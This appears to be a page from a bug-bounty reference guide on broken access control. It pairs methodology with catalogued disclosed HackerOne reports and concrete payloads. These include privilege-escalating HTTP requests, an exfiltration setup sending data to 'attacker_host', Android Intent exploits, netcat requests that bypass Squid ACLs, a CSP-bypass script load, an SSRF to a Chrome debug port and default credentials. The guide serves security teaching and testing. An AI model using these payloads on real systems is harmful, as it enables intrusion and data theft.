⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Broken Access Control
Vulnerabilities

Broken Access Control

§Basic information

Broken access control is the failure to enforce what an authenticated identity is allowed to do on the server, on every request. Authentication answers who you are; authorization answers what you may touch — and it breaks whenever the server decides that in the UI, in the client, once at the start of a flow, or based on a value the attacker controls. Unlike injection, there is no payload to sanitize: the request is perfectly well-formed, it is simply not yours to make.

Two axes describe almost every finding. Vertical escalation reaches a higher privilege than you hold (a member calling an admin-only endpoint — BFLA, broken function-level authorization). Horizontal escalation reaches a peer's objects at your own privilege level (reading someone else's invoice by its ID — IDOR/BOLA, broken object-level authorization). The remaining variants — mass assignment, multi-step/TOCTOU gaps, verb/path tampering, tenant crossing, and trust-boundary abuse — are just the specific mechanisms by which one of those two checks goes missing.

§Methodology

  1. Enumerate every privileged action — from the UI as an admin, and from JS bundles, API specs, and mobile decompilation for endpoints the UI never renders. Build a matrix of action × role.
  2. Establish two low sessions plus one high — attacker account A (or admin), victim/peer B, and where possible an unauthenticated client. Capture a clean request for each privileged action.
  3. A-B-A test. Perform the action as A, replay the identical request swapping in B's session (or no session). A 200/201/204 where the server should have said 403 is a vertical or horizontal break.
  4. Swap the object, not the session (IDOR/BOLA): keep your own token, change the resource ID (user_id, order_id, GUID, snowflake) to a peer's and watch for the object coming back.
  5. Confirm with the result, not the status. Prove you created an admin, disabled a control, or read another tenant's data — a 200 alone can be a silent no-op.
  6. When a direct action leaks little, look for a secondary sink (data-export archive, email digest, notifications) that reflects the object back to you.
# Autorize-style A-B-A at scale: replay admin-captured requests with B's cookie ffuf -w admin-endpoints.txt -u https://TARGET/api/FUZZ \ -H "Cookie: session=<LOWPRIV_B>" -mc 200,201,204

§Access-control failure modes

Identify which check is missing, then drive the matching request.

Vertical escalation (BFLA)

An action is exposed in the UI only to admins, but the endpoint never re-checks the role — the button is hidden, the route is not. Test every admin-scoped resource (secrets, members, billing, integrations, impersonation) directly with a low-priv token.

# Builder/editor role hitting an admin-only resource — server never checks the role GET /api/w/WORKSPACE/dust_app_secrets HTTP/1.1 Host: TARGET Cookie: session=<LOWPRIV> # then upsert-by-name to overwrite an existing secret's value POST /api/w/WORKSPACE/dust_app_secrets HTTP/1.1 Host: TARGET Cookie: session=<LOWPRIV> Content-Type: application/json {"name":"EXISTING_NAME","value":"attacker-value"}

Horizontal / object-level (IDOR/BOLA)

Same privilege, someone else's object. Keep your session, iterate the ID. GUIDs are not a control — they leak in earlier responses, exports, and shared links, and persisted/GraphQL operations frequently drop the ownership check entirely.

# Your token, a peer's resource id — object comes back if BOLA GET /api/orgs/NOT-MINE/members HTTP/1.1 Host: TARGET Cookie: session=<YOURS>

Mass assignment (privilege via request body)

The server binds attacker-supplied fields straight onto the model. Add the privileged key the UI never shows — role, is_admin, verified, template, permissions, owner_id — to a request you are allowed to make.

# Set a privileged field on your own object during an allowed update PATCH /api/users/me HTTP/1.1 Host: TARGET Cookie: session=<YOURS> Content-Type: application/json {"role":"admin","email_verified":true}
▸ TIP
The best source of privileged field names is a GET on the same object. Whatever the server returns to you, it usually accepts back on write. Also diff a serialized export/import blob (project.json, SCIM payload) — those carry template, owner_id, and admin flags the live API never exposes.

Multi-step / TOCTOU authorization gaps

Authorization enforced at step 1 but not re-checked at step N, or checked on the request but not in the async worker that acts on it later. Reach the later step directly, or race the check against the use.

# Skip straight to the state-changing final step with only a step-1 token POST /api/checkout/finalize HTTP/1.1 Host: TARGET Cookie: session=<STEP1_TOKEN> Content-Type: application/json {"order_id":"OTHER_PARTY_ORDER","status":"accept"}

An early-returning guard keyed to one code path is bypassable by driving the feature through the other path — e.g. a check that only runs for group-owned resources is skipped by creating the resource in a personal namespace (#689314).

Verb tampering & forced browsing

A resource exposes only POST/DELETE to you, but the framework silently wires an unadvertised PUT/PATCH handler with no authorization. Fuzz the other verbs; fuzz the path shape.

# Delete-only endpoint that also accepts an unchecked PATCH -> edit primitive PATCH /identity/resources/tenants/api-tokens/v1/API_KEY_ID HTTP/1.1 Host: TARGET Cookie: session=<YOURS> Content-Type: application/json {"roleIds":["<IMPERSONATOR_ROLE_ID>"]}
# Path/case/version/override tricks against a blocked admin route curl -s https://TARGET/admin/users/ # trailing slash curl -s https://TARGET/Admin/users # case curl -s https://TARGET/api/v1/admin/users # old version lacking new authz curl -s https://TARGET/admin/users -H "X-HTTP-Method-Override: PUT"

Trust-boundary & self-declared permission bypass

Server-to-server, provisioning, and feature-negotiation surfaces (webhooks, OCM/SCIM, capability manifests) are often authenticated only by a token the caller already holds, and they trust attacker-supplied permission fields. If the permission is declared by the artifact or the caller, assume the attacker controls it and test whether the runtime re-checks.

# Anonymous federation callback trusts an attacker-set permission array POST /index.php/ocm/notifications HTTP/1.1 Host: TARGET Content-Type: application/json {"notificationType":"RESHARE_CHANGE_PERMISSION","resourceType":"file", "providerId":2,"notification":{"sharedSecret":"<TOKEN_YOU_HOLD>", "permission":["read","write","share"]}}

A "disabled" feature toggle usually only hides the button — the controller stays routable. Request the underlying endpoint directly (#2376929).

Secondary-sink / side-channel reads

When a write succeeds where the matching read is blocked, the object often resurfaces in a place you can read: a GDPR/data-export archive, a notification, an email digest, an activity log. A broken authz check on a write action plus an export side channel equals a private-data read (#1694304).

§Bypasses

Filter / controlBypassSeen in
UI hides the actioncall the endpoint directly; the API never checks the role (BFLA)#3103755
Role checked on one HTTP methodswitch verb — unadvertised PATCH/PUT handler skips authz; X-HTTP-Method-Override#2149124
Guard keyed to one code pathdrive the feature through the other path (personal vs group namespace)#689314
Rate limit / geo gate on IPspoof X-Forwarded-For / X-Real-IP — counter resets, country forged#2627062
"Verified email" trusted for authzmint a pre-verified email via SCIM provisioning, bypassing IdP domain trust#565883
Feature "disabled" in UIbackend controller still routable — request it directly (OIDC discovery abuse)#2376929
Import/restore trusts serialized blobflip template/privilege booleans in project.json and re-import#446585
Capability declared at upload onlystrip the self-declared requires_*; runtime dispatcher never re-checks#2930811
Federation callback authed by shared tokenPOST an attacker-controlled permission[] array anonymously#1170024
Read blocked, write allowedperform the write (like/favorite), read the object back from your data export#1694304
Persisted GraphQL query "hidden"replay harvested queryId; add a timing/status side channel when rate-limited#885539
Deep-link host allowlisttrailing ../ path-prefix or a secondary feature-flag branch skips the check#1087744
▲ WARNING
A 200 OK is not proof. Many BFLA/mass-assignment endpoints accept the extra field, return success, and silently ignore it. Always verify the privileged state actually changed — re-read the object as a different session, or observe the downstream effect (an admin was created, a control turned off, a peer's data returned).

§Escalation & impact

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 494 in this class.

Real-world example

Admin-only service templates injected via project import

◆ Critical
Specimen #446585 · gitlab · 11000 · 758 votes · resolved
Program gitlabSurface webChain import -> instance-wide service template -> mass exfilTag file-upload

Root cause

The project-import parser trusts the exported project.json and lets a normal user set template:true on services and add custom_attributes — both operations are supposed to be instance-admin-only. Templated services are auto-installed on every project created afterwards.

Method

  1. Create/export a project, extract project.json
  2. Flip "template":false to true and set a service type (EmailsOnPush, HipChat/Slack, MockCiService)
  3. Re-tar and import
  4. Any project created later silently installs the attacker's service, exfiltrating commits/issues/MRs to attacker recipient or a hidden CI URL
# in services[] of project.json "template": true, "type": "EmailsOnPushService", "properties": { "recipients": "attacker@domain.tld", "disable_diffs": false } # MockCiService gives a service invisible in the UI: "type": "MockCiService", "properties": { "mock_service_url": "https://attacker_host/" }

Insight — Import/restore features are a privilege-escalation goldmine: the serialized blob usually carries fields (owner_id, template, admin flags, custom_attributes) the normal UI never exposes. Diff an export, flip every boolean/privilege field, and re-import.

Real-world example

Custom project-template import bypasses per-feature project ACLs (mass copy of private data)

◆ Critical
Specimen #689314 · gitlab · 12000 · 455 votes · resolved
Program gitlabSurface webChain guard skipped (user namespace) -> template finder ignoresTag account-takeover

Root cause

An authorization guard returned early for user-namespace projects (return unless project.group), so the use_custom_template / group_with_project_templates_id params survived; the template finder used the user's visible-projects collection without checking per-feature access, and the async export worker never re-checked authorization. Combined, any public project with restricted repo/issues/MR visibility could be exported into the attacker's project.

Method

  1. Victim: create a public project in a group whose Repository/Issues/MR/Snippets are set to 'Only Project Members'.
  2. Attacker: POST /projects to create a project in your OWN (user) namespace so the group validation is skipped.
  3. Set project[use_custom_template]=true, project[template_name]=<victim project name>, project[group_with_project_templates_id]=<victim group id>.
  4. Wait for the async export/import job to run; the private repo, confidential issues, MRs, snippets, CI config get copied into your new project.
POST /projects HTTP/1.1 Host: gitlab ...multipart... name="project[use_custom_template]" true name="project[template_name]" test_project name="project[group_with_project_templates_id]" 1 name="project[namespace_id]" <your_user_namespace_id> name="project[name]" pwn

Insight — Early-return authorization guards keyed on one code path (group projects) are bypassable by driving the feature through the other path (user namespace). Also: 'projects the user can see' != 'features the user may read' - finders that gate on visibility but not per-feature access leak restricted data, and async workers must re-authorize (TOCTOU).

Real-world example

Browser-extension postMessage command -> blind credentialed XHR to any origin

◆ Critical
Specimen #389108 · superhuman · awarded · 201 votes · resolved
Program superhumanSurface webTag account-takeover

Root cause

The Grammarly content script accepted window.postMessage commands and relayed a 'tracking'/_fetch command to the privileged background page, which performed cross-origin XHR carrying the victim's cookies from the extension origin - a page-triggered SSRF/CSRF-with-cookies primitive.

Method

  1. From a crafted page, initiate the extension popup (isTrusted gesture) to open the background channel
  2. postMessage a grammarly command targeting the fetch/tracking handler
  3. Background page issues the credentialed cross-origin request on your behalf
window.postMessage({grammarly:true, /* action: tracking/_fetch with attacker url + params */}, '*')

Insight — Browser extensions are a privileged origin reachable via postMessage/content-script bridges; audit every message handler for command types that fetch/XHR/WebSocket to attacker-controlled URLs with the user's cookies.

Real-world example

Password-protected store bypass via unauthenticated preview link

◆ Critical
Specimen #421859 · shopify · awarded · 192 votes · resolved
Program shopifySurface webTag account-takeover

Root cause

A theme preview link is generated without authentication and is not subject to the store's password protection. The link is exposed in /preview_bar source, so anyone can retrieve it and view protected store content.

Method

  1. Find a password-protected Shopify store
  2. Request /preview_bar and read the source
  3. Extract the shopifypreview.com URL
  4. Visit it to view store content, bypassing the password
GET https://<shop>.myshopify.com/preview_bar # grep response for a shopifypreview.com URL, then open it

Insight — 'Preview'/'share'/'draft' features often bypass primary access controls and expose their unguessable links in secondary endpoints (preview bars, embedded JSON, sitemap). When a resource is gated, hunt for an alternate preview/render path that is not gated.

Real-world example

Join arbitrary workspace by swapping team ID in createUser invite flow

◆ Critical
Specimen #1716016 · slack · awarded · 107 votes · resolved
Program slackSurface apiChain invite OTP -> team ID swap in createUser -> unauthorizTag account-takeover

Root cause

Replaying the api/signup.createUser request while replacing the team ID with an arbitrary team ID (taken from a one-time-password workspace-invitation email) let an attacker join a different workspace than the one they were invited to - for any workspace that did not require admin approval for invites.

Method

  1. Obtain a legitimate workspace invitation / OTP email (which references a team ID)
  2. Begin signup and intercept the POST api/signup.createUser
  3. Replace the team ID parameter with the target workspace's team ID
  4. Complete signup to become a member of the target workspace (only where admin approval isn't required)
POST /api/signup.createUser HTTP/1.1 Host: slack.com ... team=<ARBITRARY_TEAM_ID> ... # swapped from the invited team

Insight — Invitation/onboarding endpoints that trust a client-supplied tenant/team/org ID are IDOR-to-tenant-access. When an invite ties you to workspace A, test swapping the workspace/team identifier to B; membership is often keyed on the request value, not the invite token's bound tenant.

Real-world example

Exported WebView activity accepts file:// and javascript:// intent URIs

◆ Critical
Specimen #499348 · x · awarded · 93 votes · resolved
Program xSurface mobile-androidChain Exported WebView -> local file read / UXSS -> session Tag account-takeover

Root cause

com.twitter.android.lite.TwitterLiteActivity is exported and loads the intent data URI into its WebView without scheme validation, so any app can force it to load local files, execute JavaScript, or open arbitrary URLs.

Method

  1. Confirm the target WebView activity is exported
  2. Send an explicit intent with a file:// URI to read local app files
  3. Send a javascript: URI to inject script into the WebView context (UXSS/token theft)
  4. Send an http(s) URI to demonstrate open redirect
adb shell am start -n com.twitter.android.lite/com.twitter.android.lite.TwitterLiteActivity -d "file:///sdcard/BugBounty/1.html"\nadb shell am start -n ...TwitterLiteActivity -d "javascript://example.com%0A alert(1);"\nadb shell am start -n ...TwitterLiteActivity -d "http://evilzone.org"

Insight — For exported WebView activities, test file://, javascript:, and content:// data URIs. If WebView setAllowFileAccess/JavaScript are on and the loaded URL is intent-controlled, a co-installed app can steal local files/session tokens via UXSS.

Real-world example

Unauthenticated admin panel with auto-assigned sysadmin session

◆ Critical
Specimen #2190808 · deptofdefense · none · 86 votes · resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

An ASP.NET Administration page grants any visitor a system-administrator session automatically, with no authentication, exposing full user/file management.

Method

  1. Browse directly to the /Administration/Administration.aspx page
  2. Observe you are already logged in as a named sys-admin user
  3. Confirm state-changing admin functions (add/delete users, change perms, upload files) are available
GET /Administration/Administration.aspx # returns an authenticated sys-admin context to any visitor

Insight — Always forced-browse to /admin, /Administration, management .aspx/.jsp pages. Some legacy apps auto-bind a privileged service/default account to unauthenticated sessions - the impact is full admin without any bypass step.

Real-world example

Hidden self-registration endpoint on admin portal

◆ Critical
Specimen #2801787 · mtn_group · none · 80 votes · resolved
Program mtn_groupSurface webChain Hidden registration -> admin dashboard -> alter merchaTag account-takeover

Root cause

An admin portal shows no register option in the UI but exposes a working registration endpoint. Self-registering yields an approved admin dashboard with full CRUD over merchants, cashiers, stations and supervisors (including changing merchant payout account numbers).

Method

  1. Discover the admin portal's registration endpoint (not linked in UI)
  2. Sign up to create an admin account
  3. Log in -> redirected to the admin dashboard
  4. Enumerate admin URLs to edit/delete merchants, change their bank account numbers, read supervisor passcodes
POST /<admin-portal>/register {"email":"attacker@...","password":"..."} // no UI link but endpoint live and auto-approves admin

Insight — Absence of a UI control does not mean the endpoint is disabled. Fuzz/guess register, signup, create-user routes on admin subdomains/portals; unlinked-but-live self-registration frequently yields privileged accounts. Then walk admin URLs for financial-data tampering.

Real-world example

Authorization derived from attacker-controlled message field, not authenticated context

◆ Critical
Specimen #2976481 · cosmos · awarded · 80 votes · resolved
Program cosmosSurface otherTag account-takeover

Root cause

Cosmos SDK lockup account SendCoins checks that msg.Sender == owner, but when the message is wrapped in MsgExecute the real signer is placed in ctx while msg.Sender is never validated. The lockup handler trusts msg.Sender (attacker-set), unlike multisig which reads the sender from ctx, letting an attacker move unlocked funds from an account they don't own.

Method

  1. Create a periodic-locking-account for the victim; wait for the lock period to end
  2. Craft the transfer message setting msg.Sender to the victim (owner)
  3. Wrap it in MsgExecute and submit signed by the attacker
  4. checkSender passes (msg.Sender==owner) though the tx signer is the attacker; funds move to attacker
// lockup.go SendCoins/checkSender uses msg.Sender (from message) instead of ctx signer\nMsgExecute{ sender: <attacker>, msg: LockupSend{ sender: <VICTIM_owner>, to: <attacker>, amount: <unlocked> } }

Insight — Whenever authorization compares an identity taken from the request/message payload rather than the authenticated/verified caller (ctx, session, signer), it's forgeable. Diff how sibling handlers derive 'sender' - inconsistency (message vs context) is the bug. Applies to smart-contract, RPC, and API auth.

Real-world example

Android FileProvider root-path exposes all internal files

◆ Critical
Specimen #876192 · brave · USD 500 · 78 votes · resolved
Program braveSurface mobile-androidChain content-provider path traversal -> cookies DB exfil ->Tag account-takeover

Root cause

Brave's ChromeFileProvider declares <root-path name="root" path="."/>, so a content:// URI under /root/ resolves any absolute internal path; the app itself owns the URI (no permission grant needed) and downloads the file to public /sdcard/Download, where any STORAGE app reads it.

Method

  1. Malicious app (STORAGE perm) sends a VIEW intent for the crafted content URI
  2. Brave resolves it via root-path, treats it as its own file, downloads to /sdcard/Download
  3. PoC watches Downloads, reads the exfiltrated Cookies DB
content://com.brave.browser.FileProvider/root/data/data/com.brave.browser/app_chrome/Default/Cookies

Insight — Audit exported FileProviders for root-path or overly broad path='.' entries. /root/<absolute-path> then reaches any internal file (cookies, tokens). Fix: never map root-path to '.'; use scoped paths + validation.

Real-world example

Bypass IDOR/authorization protection by changing the HTTP method

◆ Critical
Specimen #2456603 · ibm · none · 56 votes · resolved
Program ibmSurface web

Root cause

Authorization on an object endpoint is enforced for one HTTP verb but not others; switching the method (e.g. GET->POST/PUT, or an unexpected verb) reaches the same handler with the access check absent, restoring the IDOR.

Method

  1. Identify an object endpoint whose IDOR appears fixed/blocked for the normal method
  2. Replay the same object reference using a different HTTP method
  3. Access-control check is not applied on the alternate verb; the IDOR succeeds
# Blocked: GET /learning/resource/<VICTIM_ID> (403) # Bypass: POST /learning/resource/<VICTIM_ID> (or PUT/PATCH) -> succeeds

Insight — When an IDOR seems patched, re-test with every HTTP verb (GET/POST/PUT/PATCH/DELETE/HEAD) and with method-override headers (X-HTTP-Method-Override). Framework routing often maps multiple verbs to one handler while the authorization filter is registered on only one. Use Burp Match&Replace to flip the verb across a session.

Real-world example

Exposed CI/CD login page that authenticates on click

◆ Critical
Specimen #311289 · gsa_bbp · 2000 · 49 votes · resolved
Program gsa_bbpSurface webChain search-engine recon -> unauth CI console -> deploy cre

Root cause

A production CI/CD build-results interface was reachable via a public search-engine dork and presented a login page whose 'log in' button performed no actual authentication, exposing deploy credentials.

Method

  1. Dork the target scope: inurl:target.tld to surface CI/CD build URLs
  2. Open the build-results page; a login form appears
  3. Click 'log in' without credentials
  4. Land in the authenticated CI/CD console; harvest deployment credentials
Google/Bing: inurl:example.gov (surface CI/CD build result pages)

Insight — Recon-driven: index-leaked CI/CD, dashboards and build pages often front a login that is decorative only. Always click through the login control unauthenticated and diff the result.

Real-world example

Execution After Redirect (EAR): admin content served with a 302

◆ Critical
Specimen #1394910 · deptofdefense · none · 47 votes · resolved
Program deptofdefenseSurface webChain EAR admin page disclosure -> unauthenticated file upload/Tag file-upload

Root cause

An admin panel issued a 302 redirect to a login page but continued rendering and returning the full admin HTML (and the admin actions remained callable) because the server did not terminate execution after redirecting.

Method

  1. Access the protected page; note a 302 with a Location header but a large body
  2. Read the 302 response body - it contains the full admin page and links
  3. Intercept and rewrite the response 302 Found -> 200 OK to render it in-browser
  4. Call the discovered admin action endpoints directly (no session cookie needed), e.g. unauthenticated file upload
# In Burp, Match&Replace on the response: # HTTP/1.1 302 Found -> HTTP/1.1 200 OK # Then call actions directly, e.g.: POST /elist/s3html.php (multipart file upload, no Cookie header)

Insight — A 302 with a non-empty body is the tell for EAR. Always inspect redirect response bodies and try forcing 302->200. If the guarded content is present, the underlying action endpoints usually run without auth too.

Real-world example

Forced-browse to unauthenticated admin user-creation (APEX page-number tampering)

◆ Critical
Specimen #2354136 · deptofdefense · none · 47 votes · resolved
Program deptofdefenseSurface webChain forced browse -> unauth admin add-user -> self-provisiTag account-takeover

Root cause

Directory/parameter brute forcing revealed an admin function (Add New User / change privileges) served without any authentication. In an Oracle-APEX-style app the page is selected by a numeric segment in the URL, and changing that number navigates straight to privileged pages.

Method

  1. Directory/forced-browse the app; find the admin area URL (APEX f?p style, e.g. :1:0:::::).
  2. Change the page number (1 -> 9) or hit the admin URL directly; no login is enforced.
  3. Use 'Add New User' to create an Admin account; credentials are emailed -> log in as admin.
# Oracle APEX page addressing: f?p=APP:PAGE:SESSION::::: # swap PAGE number to reach unauthenticated admin pages, e.g. GET /apex/f?p=100:9:0::::: HTTP/1.1

Insight — Forced browsing still finds unauthenticated admin panels. In APEX/portal apps the page is a number in the URL, so fuzz that segment. Never assume server-side authz guards a page just because the UI hides the link.

Real-world example

Default credentials on an admin panel

◆ Critical
Specimen #1297480 · mtn_group · none · 42 votes · resolved
Program mtn_groupSurface webTag account-takeover

Root cause

A login-gated admin app ships with unchanged default credentials (admin/admin), granting full admin access to anyone.

Method

  1. Reach the login page of the gated app.
  2. Try vendor default creds (admin/admin and product-specific defaults).
Username: admin Password: admin

Insight — Any login wall is worth a quick default-credential check. Identify the product/vendor first, then try its documented defaults; login-required does not mean access-controlled.

Real-world example

Oracle APEX auto-login: unauthenticated visitor lands as admin

◆ Critical
Specimen #1991214 · deptofdefense · none · 31 votes · resolved
Program deptofdefenseSurface webTag account-takeover

Root cause

An Oracle APEX application is configured with an auto-login authentication scheme, so simply visiting an f?p= URL signs the visitor into a pre-authenticated administrative account ('auto log user') with full management rights.

Method

  1. Browse to the APEX app URL: https://target.mil/apexcrrel/f?p=150:1:<session>::NO:::
  2. Observe you are signed in as 'ben auto log user' (administrator) shown top-right
  3. Access admin functions: view all submissions, manage/add users, assign admin role, publish/remove data
https://TARGET/apexcrrel/f?p=150:1:23467499301323::NO:::

Insight — Oracle APEX (f?p=app:page:session) apps sometimes ship with an auto-login/public authentication scheme mapped to a privileged workspace user. Probe f?p= endpoints and check the authenticated user indicator without providing credentials.

Real-world example

Android Intent redirection: exported activity forwards attacker Intent to protected components

◆ Critical
Specimen #200427 · slack · awarded · 31 votes · resolved
Program slackSurface mobile-androidChain malicious app -> exported activity -> internal WebViewTag account-takeover

Root cause

An exported activity reads a nested Intent from its extras (extra_deep_link_intent) and calls startActivity() on it, so any unprivileged app on the device can reach non-exported/protected activities (confused deputy) and pass them arbitrary extras.

Method

  1. Identify an exported activity that extracts a Parcelable Intent from getIntent() and startActivity()s it
  2. Build an inner Intent targeting a non-exported activity (WebViewActivity/CallActivity) with chosen extras
  3. Wrap it as extra_deep_link_intent inside an Intent to the exported HomeActivity and launch
Intent next = new Intent(); next.setClassName("com.Slack", "com.Slack.ui.WebViewActivity"); next.putExtra("extra_url", "javascript:alert(1)"); next.putExtra("extra_title", "test"); Intent start = new Intent(); start.setClassName("com.Slack", "com.Slack.ui.HomeActivity"); start.putExtra("extra_deep_link_intent", next); startActivity(start);

Insight — When decompiling an Android app, grep exported components for getParcelableExtra(...Intent) piped into startActivity/startService/sendBroadcast. That pattern lets a malicious app invoke internal components -> load arbitrary URLs in app WebView (javascript: XSS/phishing), spoof UI, or trigger privileged actions.

Real-world example

Hidden client-side signup form re-enabled to self-provision internal access

◆ Critical
Specimen #1061664 · khanacademy · none · 28 votes · resolved
Program khanacademySurface web

Root cause

An internal Alerta dashboard's signup/login forms were merely hidden client-side (AngularJS ng-hide); removing the class exposed a working signup that accepted @khanacademy.org emails and required no email confirmation, granting access to sensitive monitoring data.

Method

  1. Browse to the internal tool's /#/signup route
  2. In DevTools, remove the ng-hide class (or display:none) on the hidden form
  3. Register with an <anything>@khanacademy.org address
  4. Log in with no email confirmation and access sensitive dashboards
// DevTools: delete class ng-hide on the signup <form> // register anything@khanacademy.org, no email verify required

Insight — UI elements hidden by CSS/ng-hide/display:none are still fully functional; the server is the only real gate. When you see a hidden signup/admin form, unhide and submit it. Domain-based trust (@company.org) with no email verification is a common self-provisioning path.

Real-world example

Squid URN request bypasses ACLs -> SSRF (CVE-2019-12523)

◆ Critical
Specimen #824802 · ibb · awarded · 23 votes · resolved
Program ibbSurface networkChain ACL bypass -> SSRF to localhost / cache-manager info leak

Root cause

Squid parses a urn: request minimally then transforms it into a fresh internal HTTP request that is dispatched via FwdState::Start without passing clientAccessChecks/doCallouts, so http_access ACLs (e.g. deny to_localhost) are never applied.

Method

  1. Ensure Safe_ports allows port 0 (urn) and to_localhost is denied
  2. Send a urn:: request naming an internal host
  3. Squid rebuilds it as http://host/uri-res/N2L?urn:... and forwards without ACL checks
  4. Read reflected lines containing ':' (<4096 bytes); with Via disabled, reach squid-internal-mgr
echo -e "GET urn::@127.0.0.1:8080/hello.html? HTTP/1.1\r\n\r\n" | nc <squid-host> 3128 # cache manager (if Via header disabled): GET urn::@localhost:3128/squid-internal-mgr/active_requests? HTTP/1.1

Insight — When a proxy/gateway rewrites one URI scheme into another request internally, the rewritten request often skips the ACL/authorization pipeline - test alternate schemes (urn:, gopher:, dict:) to reach ACL-blocked internal targets.

Real-world example

Squid cache-manager ACL bypass via double URL-decode

◆ Critical
Specimen #824203 · ibb · awarded · 22 votes · resolved
Program ibbSurface networkChain ACL bypass -> cache manager -> in-memory addresses -&g

Root cause

Squid checks the cache-manager url_regex ACL against a URL that gets rfc1738-unescaped an extra time (userinfo is decoded during parse, then the ACL matcher decodes again). A double-encoded slash in the userinfo makes the ACL regex miss while the internal manager path still matches (CVE-2019-12524).

Method

  1. Target a Squid <=4.7 proxy on :3128
  2. Craft an https URL with encoded userinfo: jeriko.one%252f@<host>
  3. Request a squid-internal-mgr path so it is flagged internal but the manager url_regex ACL fails to match after double-decode
  4. Read active_requests / other mgr pages (leaks clients, usernames, in-memory object addresses -> ASLR break)
echo -e "GET https://jeriko.one%252f@<host>:3128/squid-internal-mgr/active_requests HTTP/1.1\r\n\r\n" | nc <host> 3128

Insight — When an ACL is enforced by regex on a URL that is decoded a different number of times than the routing/dispatch code, encode a delimiter (%252f = double-encoded /) to desync them. Classic parser-differential authorization bypass.

Real-world example

Chain: email-validation ATO -> CSP bypass -> IDOR -> PDF SSRF -> headless Chrome debug port

◆ Critical
Specimen #781253 · h1-ctf · none · 17 votes · resolved
Program h1-ctfSurface webChain email-validation ATO -> CSP bypass XSS -> IDOR name edTag account-takeover

Root cause

Multiple composable primitives: registration email validation strips symbols only after the recovery code is generated (account takeover), a strict CSP script-src is bypassable because the allowlisted GitHub path can be extended to an attacker repo, an IDOR on a name field injects HTML into a server-rendered PDF, and the PDF renderer (headless Chrome) exposes an SSRF into its own DevTools debug port.

Method

  1. Register jobert@mydocz.cosmic<>{} ; recovery QR resolves to jobert@mydocz.cosmic -> takeover
  2. Bypass CSP by appending an attacker repo to the allowlisted github.com/mattboldt/typed.js path (remove /blob/); run JS to exfil the reviewer URL
  3. Use IDOR on the reviewer name field to inject HTML that renders into the generated PDF
  4. From the PDF's headless-Chrome renderer, iframe http://localhost:9222/json to read the DevTools targets and the secret document path
CSP bypass script src: https://github.com/mattboldt/typed.js/master/lib/@https://github.com/attacker/repo/master/x.js SSRF into headless Chrome DevTools: <iframe src='http://localhost:9222/json' width=900 height=900></iframe>

Insight — Allowlisted script origins that let you append a path (raw GitHub) are CSP bypasses. Server-side HTML/PDF/screenshot renderers are SSRF surfaces; a headless Chrome renderer commonly exposes remote debugging on 127.0.0.1:9222 - /json lists inspectable pages and the ws debugger URL for full control.

Real-world example

Nagios dashboard with default credentials

◆ Critical
Specimen #1700896 · gsa_vdp · none · 16 votes · resolved
Program gsa_vdpSurface web

Root cause

Monitoring appliance (Nagios) left on default vendor credentials, giving anyone full admin control of the panel.

Method

  1. Recon subdomains/IPs for management panels (Nagios path /nagios/side.php)
  2. Hit the HTTP Basic auth prompt
  3. Log in with nagiosadmin:nagiosadmin
# Basic-auth default creds: username: nagiosadmin password: nagiosadmin # URLs: https://TARGET/nagios/side.php

Insight — During recon, fingerprint monitoring/admin appliances (Nagios, Grafana, Kibana, Jenkins) and always try documented default credentials before anything else. Default-cred admin access on infra tooling is frequently critical.

Real-world example

Ignore/blacklist bypass via URL-encoding mismatch (raw check vs decoded serve)

◆ Critical
Specimen #308721 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface webTag path-traversal

Root cause

The static-file server checks the ignore list against the raw (still URL-encoded) pathname, but serves the file using a URL-decoded path; encoding one character (e -> %65) makes the blacklist check miss while the file still resolves.

Method

  1. Identify a deny/ignore rule protecting a file or directory (returns 404 to the plain name).
  2. URL-encode any single character in the name (e.g. test.txt -> t%65st.txt).
  3. The encoded request bypasses the raw-string blacklist and the decoded path serves the file / directory listing.
curl http://localhost:1337/test.txt # Not Found (ignored) curl http://localhost:1337/t%65st.txt # served curl http://localhost:1337/t%65stfolder/ # directory listing of ignored folder

Insight — Any time a security check runs on a raw string but the enforcement/handler normalizes (URL-decode, unicode NFC, case-fold, trailing dot/slash) there is a bypass. Fuzz protected paths with %65-style encoding, double-encoding, case changes, and ./ segments. CVE-2018-3718.

Real-world example

Execution After Redirect (EAR) exposes admin panel

◆ Critical
Specimen #1397564 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web

Root cause

The app returns a 302 redirect to unauthorized users but still renders the full admin panel HTML in the redirect response body; the access check redirects but does not stop execution.

Method

  1. Request the protected admin endpoint as an unauthenticated/unauthorized user
  2. Note the 302 Location but an unusually long body (Content-Length large)
  3. Intercept in Burp and rewrite status 302 Found -> 200 OK to render the admin panel and use its functions
# Burp: match response status 302 Found -> 200 OK # body of the 302 already contains the admin panel + admin function links

Insight — When a 302 carries a large body, you likely have Execution-After-Redirect: the server redirects but keeps rendering protected content. Rewrite the status to 200 (or just read the redirect body) to bypass the gate. Watch Content-Length on redirects.

§References & practice

  1. PortSwigger Web Security Academy — Access control labs (hands-on practice).
  2. All 494 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.